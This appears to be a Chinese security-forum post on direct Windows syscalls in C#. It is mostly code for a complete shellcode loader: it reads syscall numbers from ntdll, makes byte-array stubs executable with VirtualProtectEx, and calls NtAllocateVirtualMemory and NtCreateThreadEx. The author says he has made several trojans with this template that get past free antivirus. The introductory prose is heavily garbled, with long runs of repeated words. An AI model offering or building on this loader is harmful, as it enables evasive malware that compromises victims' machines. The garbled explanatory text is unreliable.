KaiWn Posted March 2 Group: team members Content Count: 564 Achievement Points: 3,754 With Us For: 158 Days Status: Offline Last Seen: March 2 Device: Windows Share Posted March 2 Windows中,windows,进程架构两模式访问模式访问访问访问访问处理器模式内核模式。这些模式模式的的实现的想法想法是是是保护保护保护用户应用应用程序程序不访问访问应用程序都运行在用户模式下,而操作系统代码(如系统服务和设备驱动程序)都运行在内核模式下。 模式特指种种执行执行模式执行执行种执行执行它它对所有所有内存和所有和所有所有所有所有所有所有所有所有所有所有所有和指令指令指令指令一些一些一些x86 x64 x64 x64 x64和处理器处理器处理器等级特权模式的处理器确定义了四个等级别 - 其他称为环- 以保护系统代号和数据。这些振铃等级的提示如下所示。 Windows中,Windows仅仅其中 -内核 -内核 -内核内核模式模式的的的的的环和模式和模式模式的的的的环现在。。。。。,在。,在在在在的的处理器处理器,处理器操作,处理器之间。。,“环级”安全性安全性安全性安全性的什么???那么??什么?什么什么?什么什么什么什么什么什么什么什么?什么什么启动启动启动用户用户模式应用应用时应用程序虚拟地址和个私有。。。这个柄柄表柄柄是是是一个包含句柄句柄的的的的内核内核对象对象。。。。句柄只是只是对特定特定特定资源资源资源api用户用户的内存内存,从而从而某些某些某些某些某些某些某些,例如例如管理某些管理物理物理物理。。。。总体总体总体而言总体而而总体,句柄作业一个句柄的例子。 因为程序是私有私有私有私有是私有私有私有私有一个个应用程序能能更改更改属于属于另另另一一个个应用应用应用程序程序的的程序程序的的程序的的应用程序程序程序的的一一一另另一一另一另另另属于属于属于属于属于属于属于属于属于属于属于属于属于更改属于属于属于更改属于属于属于一个进程有权打开另一个进程以使用跨进程内存功能,例如ReadProcessMemory和WriteProcessMemory。 现在小心写入错误地址空间了恶意了了了操作恶意恶意了可能会会危及系统或或或其他其他其他其他其他程序其他驱动程序程序程序。。。。尽管尽管有有有有有一些一些一些保护保护(),windows windows windows例程需要。例如。由于),那么那么首先模式切换内核这这就系统调用发挥作用作用的地方。让为了让让用户用户应用应用应用应用程序程序内内内核核核核核核模式模式模式下下下访问这些这些“系统”。。该指令触发之间转换转换,并访问的之间转换转换允许并处理器访问访问内内内核中核中的核中的的的系统系统系统系统服务服务调度调度服务服务调度调度调度服务调度调度调度调度代码代码代码代码代码代码代码代码代码代码代码。。。。。代码。。。。。。。。】】】】这些函数包包含内核和 OS 应用程序级别发布。 问题:1.不同的系统的syscall不一样,怎么才能实现在不同系统里面动态调整 如何获取syscall的系统调用号 准备工具:windbg获取API地址 x ntdll!NtCreateFile 指定地址查看反汇编 u 00007ffd`3826db50 得到的汇编 ntdll!ZwCreateFile: 00007ffd`3826db50 4c8bd1 mov r10,rcx 00007ffd`3826db53 b855000000 mov eax,55h 00007ffd`3826db58 f604250803fe7f01 test byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1 00007ffd`3826db60 7503 jne ntdll!ZwCreateFile+0x15 (00007ffd`3826db65) 00007ffd`3826db62 0f05 syscall 00007ffd`3826db64 c3 ret 00007ffd`3826db65 cd2e int 2Eh 00007ffd`3826db67 c3 ret Mov eax,55H就是系统用号用号调的特权操作。这里可以看到关键的汇编指令:(参数会传到r10,r10在传给rcx) mov r10,rcx //规定 mov eax,<系统调用号> syscall ret 获取API函数需要的内存权限 !address 00007ffd`3826db50 C#下如何编写 代码示例来源:https://github.com/SolomonSklash/SyscallPOC/tree/master/Syscall :- >>先先提取出来出来的编号那段段汇编放到汇编放汇编放汇编放段汇编放数数数->>>>>>定义定义一个个实现函数函数实现->> byte byte byte byte temtetemte [ ] memoryAddress的int变量,将byte指针赋值->利用VirtualProtectEx修改内部存储权限->利用Marshal.GetDelegateForFunctionPointer将函数指针转换为一个委托->返回该委托 问题:为什么要用unsafe为什么要用Marshal.GetDelegateForFunctionPointer为什么有UnmanagedFunctionPointer(CallingConvention.StdCall) 为什么要用不安全的 当一个代码块使用 unsafe 修饰符标记时,C# 允许在函数中使用指针变量。不安全代码或非托管代码是指使用了指针变量的代码块 1个 为什么要有 Marshal.GetDelegateForFunctionPointer 在.net 2.0 中,框架直接提供了 Marshal.GetDelegateForFunctionPointer 来转换一个函数指针为一个委托 C# 中的委托(Delegate)类似于 C 或 C++ 中函数的指针。委托(Delegate) 是存有对某个方法的引用的一种引用类型变量。引用可在运行时被改变。 委托(Delegate)特别用于实现事件和回调方法。所有的委托(Delegate)都派生自 System.Delegate 类。 参考链接: https://cloud.tencent.com/developer/article/1798625 https://www.runoob.com/csharp/csharp-delegate.html 为什么有 UnmanagedFunctionPointer(CallingConvention.StdCall) UnmanagedFunctionPointer 控制作为非托管函数指针传递给非托管代码或从非托管代码传递的委托签名的封送处理行为。这个类不能被继承。 https://learn.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.unmanagedfunctionpointerattribute.-ctor?view=net-6.0#system-runtime-interopservices-unmanagedfunctionpointerattribute-ctor(system-runtime-interopservices-callingconvention) CallingConvention.StdCal 被调用者清理堆栈。 属于调用约定枚举里面的参数 https://learn.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.callingconvention?view=net-6.0 写死的系统调用示例代码1 static byte[] bNtWaitForSingleObject = { 0x4c, 0x8b, 0xd1, // mov r10,rcx 0xb8, 0x04, 0x00, 0x00, 0x00, // mov eax,4 0x0F, 0x05, // syscall 0xC3 // ret }; public static NTSTATUS NtWaitForSingleObject(IntPtr Object, bool Alertable, uint Timeout) { // set byte array of bNtWaitForSingleObject to new byte array called syscall byte[] syscall = bNtWaitForSingleObject; // specify unsafe context unsafe { // create new byte pointer and set value to our syscall byte array fixed (byte* ptr = syscall) { // cast the byte array pointer into a C# IntPtr called memoryAddress IntPtr memoryAddress = (IntPtr)ptr; // Change memory access to RX for our assembly code if (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, (UIntPtr)syscall.Length, (uint)AllocationProtect.PAGE_EXECUTE_READWRITE, out uint oldprotect)) { throw new Win32Exception(); } // Get delegate for NtWaitForSingleObject Delegates.NtWaitForSingleObject assembledFunction = (Delegates.NtWaitForSingleObject)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtWaitForSingleObject)); return (NTSTATUS)assembledFunction(Object, Alertable, Timeout); } } } public struct Delegates { <省略> [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate NTSTATUS NtWaitForSingleObject(IntPtr Object, bool Alertable, uint Timeout); 示例代码2 using System; using System.ComponentModel; using System.Diagnostics; using System.Runtime.InteropServices; using static Syscall.Native; namespace Syscall { class Syscalls { /* MSDN: NTSTATUS NtAllocateVirtualMemory( HANDLE ProcessHandle, // C#: IntPtr PVOID* BaseAddress, // C#: IntPtr ULONG_PTR ZeroBits, // C#: IntPtr PSIZE_T RegionSize, // C#: ref UIntPtr ULONG AllocationType, // C#: UInt32 ULONG Protect // C#: UInt32 ); ReactOS: NTSTATUS NtAllocateVirtualMemory( _In_ HANDLE ProcessHandle, _Inout_ _Outptr_result_buffer_(* RegionSize) PVOID *BaseAddress, _In_ ULONG_PTR ZeroBits, _Inout_ PSIZE_T RegionSize, _In_ ULONG AllocationType, _In_ ULONG Protect ); */ /* 0x18 in all Windows 10 version so far */ static byte[] bNtAllocateVirtualMemory = { 0x4c, 0x8b, 0xd1, // mov r10,rcx 0xb8, 0x18, 0x00, 0x00, 0x00, // mov eax,18h 0x0F, 0x05, // syscall 0xC3 // ret }; public static NTSTATUS NtAllocateVirtualMemory( IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref UIntPtr RegionSize, uint AllocationType, uint Protect ) { // set byte array of bNtAllocateVirtualMemory to new byte array called syscall byte[] syscall = bNtAllocateVirtualMemory; // specify unsafe context unsafe { // create new byte pointer and set value to our syscall byte array fixed (byte* ptr = syscall) { // cast the byte array pointer into a C# IntPtr called memoryAddress IntPtr memoryAddress = (IntPtr)ptr; // Change memory access to RX for our assembly code if (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, (UIntPtr)syscall.Length, (uint)AllocationProtect.PAGE_EXECUTE_READWRITE, out uint oldprotect)) { throw new Win32Exception(); } // Get delegate for NtAllocateVirtualMemory Delegates.NtAllocateVirtualMemory assembledFunction = (Delegates.NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtAllocateVirtualMemory)); return (NTSTATUS)assembledFunction( ProcessHandle, ref BaseAddress, ZeroBits, ref RegionSize, AllocationType, Protect); } } } // https://securityxploded.com/ntcreatethreadex.php //NTSTATUS NtCreateThreadEx( // OUT PHANDLE hThread, // C#: out IntPtr // IN ACCESS_MASK DesiredAccess, // C#: ACCESS_MASK (Native.cs) // IN LPVOID ObjectAttributes, // C#: IntPtr.Zero // IN HANDLE ProcessHandle, // C#: IntPtr // IN LPTHREAD_START_ROUTINE lpStartAddress, // C#: IntPtr // IN LPVOID lpParameter, // C#: IntPtr // IN BOOL CreateSuspended, // C#: Boolean/Int // IN ULONG StackZeroBits, // C#: uint // IN ULONG SizeOfStackCommit, // C#: uint // IN ULONG SizeOfStackReserve, // C#: uint // OUT LPVOID lpBytesBuffer // C#: IntPtr // ); /* Windows 10 1909: 0xBD, Windows 10 2004: 0xC1 */ static byte[] bNtCreateThreadEx = { 0x4c, 0x8b, 0xd1, // mov r10,rcx // 0xb8, 0xc1, 0x00, 0x00, 0x00, // mov eax,0BDh 0xb8, 0xbd, 0x00, 0x00, 0x00, // mov eax,0BDh 0x0F, 0x05, // syscall 0xC3 // ret }; public static NTSTATUS NtCreateThreadEx( out IntPtr hThread, ACCESS_MASK DesiredAccess, IntPtr ObjectAttributes, IntPtr ProcessHandle, IntPtr lpStartAddress, IntPtr lpParameter, bool CreateSuspended, uint StackZeroBits, uint SizeOfStackCommit, uint SizeOfStackReserve, IntPtr lpBytesBuffer ) { // set byte array of bNtCreateThread to new byte array called syscall byte[] syscall = bNtCreateThreadEx; // specify unsafe context unsafe { // create new byte pointer and set value to our syscall byte array fixed (byte* ptr = syscall) { // cast the byte array pointer into a C# IntPtr called memoryAddress IntPtr memoryAddress = (IntPtr)ptr; // Change memory access to RX for our assembly code if (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, (UIntPtr)syscall.Length, (uint)AllocationProtect.PAGE_EXECUTE_READWRITE, out uint oldprotect)) { throw new Win32Exception(); } // Get delegate for NtCreateThread Delegates.NtCreateThreadEx assembledFunction = (Delegates.NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtCreateThreadEx)); return (NTSTATUS)assembledFunction( out hThread, DesiredAccess, ObjectAttributes, ProcessHandle, lpStartAddress, lpParameter, CreateSuspended, StackZeroBits, SizeOfStackCommit, SizeOfStackReserve, lpBytesBuffer ); } } } /* MSDN: NTSTATUS ZwWaitForSingleObject( HANDLE Handle, // C#: IntPtr BOOLEAN Alertable, // C#: Boolean PLARGE_INTEGER Timeout // C#: Int64 ); ReactOS: NTSTATUS NtWaitForSingleObject( In_ HANDLE Object, In_ BOOLEAN Alertable, In_opt_ PLARGE_INTEGER Time ); */ /* 0x4 in all Windows 10 versions so far */ static byte[] bNtWaitForSingleObject = { 0x4c, 0x8b, 0xd1, // mov r10,rcx 0xb8, 0x04, 0x00, 0x00, 0x00, // mov eax,4 0x0F, 0x05, // syscall 0xC3 // ret }; public static NTSTATUS NtWaitForSingleObject(IntPtr Object, bool Alertable, uint Timeout) { // set byte array of bNtWaitForSingleObject to new byte array called syscall byte[] syscall = bNtWaitForSingleObject; // specify unsafe context unsafe { // create new byte pointer and set value to our syscall byte array fixed (byte* ptr = syscall) { // cast the byte array pointer into a C# IntPtr called memoryAddress IntPtr memoryAddress = (IntPtr)ptr; // Change memory access to RX for our assembly code if (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, (UIntPtr)syscall.Length, (uint)AllocationProtect.PAGE_EXECUTE_READWRITE, out uint oldprotect)) { throw new Win32Exception(); } // Get delegate for NtWaitForSingleObject Delegates.NtWaitForSingleObject assembledFunction = (Delegates.NtWaitForSingleObject)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtWaitForSingleObject)); return (NTSTATUS)assembledFunction(Object, Alertable, Timeout); } } } public struct Delegates { [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate NTSTATUS NtAllocateVirtualMemory( IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref UIntPtr RegionSize, ulong AllocationType, ulong Protect); [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate NTSTATUS NtCreateThreadEx( out IntPtr hThread, ACCESS_MASK DesiredAccess, IntPtr ObjectAttributes, IntPtr ProcessHandle, IntPtr lpStartAddress, IntPtr lpParameter, bool CreateSuspended, uint StackZeroBits, uint SizeOfStackCommit, uint SizeOfStackReserve, IntPtr lpBytesBuffer ); [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate NTSTATUS NtWaitForSingleObject(IntPtr Object, bool Alertable, uint Timeout); } } } NtAllocateVirtualMemory显示示例代码不同的系统的系统调用不一样,怎么才能实现在不同系统里面动态调整 public static uint GetSyscallID(string SysFunName) { uint SyscallID = 0; IntPtr SyscallID_mem = Marshal.AllocHGlobal(Marshal.SizeOf(SyscallID)); //先获取SyscallID的内存大小 再分配内存 RtlZeroMemory(SyscallID_mem, Marshal.SizeOf(SyscallID)); //用0填充内存 IntPtr hModule = GetModuleHandle("ntdll.dll"); //获取ntdll基址 IntPtr FunAddr = GetProcAddress(hModule, SysFunName); //获取API函数地址 IntPtr CallAddr = FunAddr + 4; //获取系统调用编号地址 uint temp; bool read_result = ReadProcessMemory(GetCurrentProcess(), CallAddr, SyscallID_mem, 4, out temp); //读取内存编号 // Console.WriteLine("Error: " + Marshal.GetLastWin32Error()); // Console.WriteLine("CallAddr:" + CallAddr + ", SyscallID" + SyscallID + ", temp: " + temp); SyscallID = (uint)Marshal.ReadInt32(SyscallID_mem); //从非托管内存中读取 32 位有符号整数。支持从未对齐的内存位置读取 (相当于转成int) return SyscallID; //返回内存编号 } public static byte[] SYSbyte1 = { 0x4c, 0x8b, 0xd1, // 0x4c, 0x8b, 0xd1=mov r10,rcx、 0xb8=mov eax 0xb8 }; public static byte[] SYSbyte2 = { 0x00, 0x00, 0x00, // 0x0F, 0x05=syscall、0xc3=ret 0x0F, 0x05, 0xC3 }; public static uint NtAllocateVirtualMemory ( IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref UIntPtr RegionSize, uint AllocationType, uint Protect ) { // set byte array of bNtAllocateVirtualMemory to new byte array called syscall uint SyscallID = Auto_NativeCode.GetSyscallID("NtAllocateVirtualMemory"); byte[] syscall1 = SYSbyte1; byte[] syscallid = { (byte)SyscallID }; byte[] syscall2 = SYSbyte2; byte[] sysfinal = syscall1.Concat(syscallid).Concat(syscall2).ToArray(); //拼接syscall汇编指令 /* foreach(byte temp in sysfinal) { Console.WriteLine("Sysfinal: " + temp); } */ // specify unsafe context unsafe { // create new byte pointer and set value to our syscall byte array fixed (byte* ptr = sysfinal) { // cast the byte array pointer into a C# IntPtr called memoryAddress IntPtr memoryAddress = (IntPtr)ptr; // Change memory access to RX for our assembly code if (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, (UIntPtr)sysfinal.Length, PAGE_EXECUTE_READWRITE, out uint oldprotect)) { throw new Win32Exception(); } // Get delegate for NtAllocateVirtualMemory DelegatesStruct.NtAllocateVirtualMemory assembledFunction = (DelegatesStruct.NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(DelegatesStruct.NtAllocateVirtualMemory)); return (uint)assembledFunction( ProcessHandle, ref BaseAddress, ZeroBits, ref RegionSize, AllocationType, Protect); } } } API Syscall声明-执行shellcode整套完整模板-来源代码:https://github.com/Kara-4search/SysCall_ShellcodeLoad_Csharp using System; using System.Collections.Generic; using System.Linq; using System.Runtime.InteropServices; using System.Text; using System.Threading.Tasks; using System.Runtime.InteropServices; using System.ComponentModel; using System.Diagnostics; namespace SysCall_ShellcodeLoad { class Auto_NativeCode { [DllImport("kernel32.dll")] public static extern bool VirtualProtectEx ( IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect ); [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32.dll", CharSet = CharSet.Auto)] public static extern IntPtr GetModuleHandle(string lpModuleName); [DllImport("kernel32.dll", SetLastError = true)] public static extern IntPtr GetCurrentProcess(); [DllImport("kernel32.dll")] public static extern void RtlZeroMemory(IntPtr pBuffer, int length); [DllImport("kernel32.dll", SetLastError = true)] static extern bool ReadProcessMemory( IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, int dwSize, out uint lpNumberOfBytesRead ); public uint NTSTATUS; public static UInt32 PAGE_EXECUTE_READWRITE = 0x40; // public uint SYSid = 0; public static byte[] SYSbyte1 = { 0x4c, 0x8b, 0xd1, 0xb8 }; public static byte[] SYSbyte2 = { 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 }; public enum AllocationType : ulong { Commit = 0x1000, Reserve = 0x2000, Decommit = 0x4000, Release = 0x8000, Reset = 0x80000, Physical = 0x400000, TopDown = 0x100000, WriteWatch = 0x200000, LargePages = 0x20000000 } public static uint GetSyscallID(string SysFunName) { uint SyscallID = 0; IntPtr SyscallID_mem = Marshal.AllocHGlobal(Marshal.SizeOf(SyscallID)); RtlZeroMemory(SyscallID_mem, Marshal.SizeOf(SyscallID)); IntPtr hModule = GetModuleHandle("ntdll.dll"); IntPtr FunAddr = GetProcAddress(hModule, SysFunName); IntPtr CallAddr = FunAddr + 4; uint temp; bool read_result = ReadProcessMemory(GetCurrentProcess(), CallAddr, SyscallID_mem, 4, out temp); // Console.WriteLine("Error: " + Marshal.GetLastWin32Error()); // Console.WriteLine("CallAddr:" + CallAddr + ", SyscallID" + SyscallID + ", temp: " + temp); SyscallID = (uint)Marshal.ReadInt32(SyscallID_mem); Console.WriteLine("SyscallID:{0:x}",SyscallID); return SyscallID; } public static uint NtAllocateVirtualMemory ( IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref UIntPtr RegionSize, uint AllocationType, uint Protect ) { // set byte array of bNtAllocateVirtualMemory to new byte array called syscall uint SyscallID = Auto_NativeCode.GetSyscallID("NtAllocateVirtualMemory"); byte[] syscall1 = SYSbyte1; byte[] syscallid = { (byte)SyscallID }; byte[] syscall2 = SYSbyte2; byte[] sysfinal = syscall1.Concat(syscallid).Concat(syscall2).ToArray(); /* foreach(byte temp in sysfinal) { Console.WriteLine("Sysfinal: " + temp); } */ // specify unsafe context unsafe { // create new byte pointer and set value to our syscall byte array fixed (byte* ptr = sysfinal) { // cast the byte array pointer into a C# IntPtr called memoryAddress IntPtr memoryAddress = (IntPtr)ptr; // Change memory access to RX for our assembly code if (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, (UIntPtr)sysfinal.Length, PAGE_EXECUTE_READWRITE, out uint oldprotect)) { throw new Win32Exception(); } // Get delegate for NtAllocateVirtualMemory DelegatesStruct.NtAllocateVirtualMemory assembledFunction = (DelegatesStruct.NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(DelegatesStruct.NtAllocateVirtualMemory)); return (uint)assembledFunction( ProcessHandle, ref BaseAddress, ZeroBits, ref RegionSize, AllocationType, Protect); } } } public static uint NtCreateThreadEx ( out IntPtr hThread, uint DesiredAccess, IntPtr ObjectAttributes, IntPtr ProcessHandle, IntPtr lpStartAddress, IntPtr lpParameter, bool CreateSuspended, uint StackZeroBits, uint SizeOfStackCommit, uint SizeOfStackReserve, IntPtr lpBytesBuffer ) { // set byte array of bNtCreateThread to new byte array called syscall uint SyscallID = Auto_NativeCode.GetSyscallID("NtCreateThreadEx"); byte[] syscall1 = SYSbyte1; byte[] syscallid = { (byte)SyscallID }; byte[] syscall2 = SYSbyte2; byte[] sysfinal = syscall1.Concat(syscallid).Concat(syscall2).ToArray(); // specify unsafe context unsafe { // create new byte pointer and set value to our syscall byte array fixed (byte* ptr = sysfinal) { // cast the byte array pointer into a C# IntPtr called memoryAddress IntPtr memoryAddress = (IntPtr)ptr; // Change memory access to RX for our assembly code if (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, (UIntPtr)sysfinal.Length, PAGE_EXECUTE_READWRITE, out uint oldprotect)) { throw new Win32Exception(); } // Get delegate for NtCreateThread DelegatesStruct.NtCreateThreadEx assembledFunction = (DelegatesStruct.NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(DelegatesStruct.NtCreateThreadEx)); return (uint)assembledFunction( out hThread, DesiredAccess, ObjectAttributes, ProcessHandle, lpStartAddress, lpParameter, CreateSuspended, StackZeroBits, SizeOfStackCommit, SizeOfStackReserve, lpBytesBuffer ); } } } public static uint NtWaitForSingleObject(IntPtr Object, bool Alertable, uint Timeout) { // set byte array of bNtWaitForSingleObject to new byte array called syscall uint SyscallID = Auto_NativeCode.GetSyscallID("NtWaitForSingleObject"); byte[] syscall1 = SYSbyte1; byte[] syscallid = { (byte)SyscallID }; byte[] syscall2 = SYSbyte2; byte[] sysfinal = syscall1.Concat(syscallid).Concat(syscall2).ToArray(); // specify unsafe context unsafe { // create new byte pointer and set value to our syscall byte array fixed (byte* ptr = sysfinal) { // cast the byte array pointer into a C# IntPtr called memoryAddress IntPtr memoryAddress = (IntPtr)ptr; // Change memory access to RX for our assembly code if (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, (UIntPtr)sysfinal.Length, PAGE_EXECUTE_READWRITE, out uint oldprotect)) { throw new Win32Exception(); } // Get delegate for NtWaitForSingleObject DelegatesStruct.NtWaitForSingleObject assembledFunction = (DelegatesStruct.NtWaitForSingleObject)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(DelegatesStruct.NtWaitForSingleObject)); return (uint)assembledFunction(Object, Alertable, Timeout); } } } public struct DelegatesStruct { [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate uint NtAllocateVirtualMemory( IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref UIntPtr RegionSize, ulong AllocationType, ulong Protect); [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate uint NtCreateThreadEx( out IntPtr hThread, uint DesiredAccess, IntPtr ObjectAttributes, IntPtr ProcessHandle, IntPtr lpStartAddress, IntPtr lpParameter, bool CreateSuspended, uint StackZeroBits, uint SizeOfStackCommit, uint SizeOfStackReserve, IntPtr lpBytesBuffer ); [UnmanagedFunctionPointer(CallingConvention.StdCall)] public delegate uint NtWaitForSingleObject(IntPtr Object, bool Alertable, uint Timeout); } } } 最后就是现实shellcode执行,按照C翻译就执行。或者CV 在项目里面用这个模板做的几个马,免费效果都不错 参考链接 https://jhalon.github.io/utilizing-syscalls-in-csharp-1/https://jhalon.github.io/utilizing-syscalls-in-csharp-2/https://www.solomonsklash.io/ syscalls-for-shellcode-injection.htmlhttps://github.com/SolomonSklash/SyscallPOChttps://github.com/Kara-4search/SysCall_ShellcodeLoad_Csharp Link to comment Share on other sites More sharing options...
Recommended Posts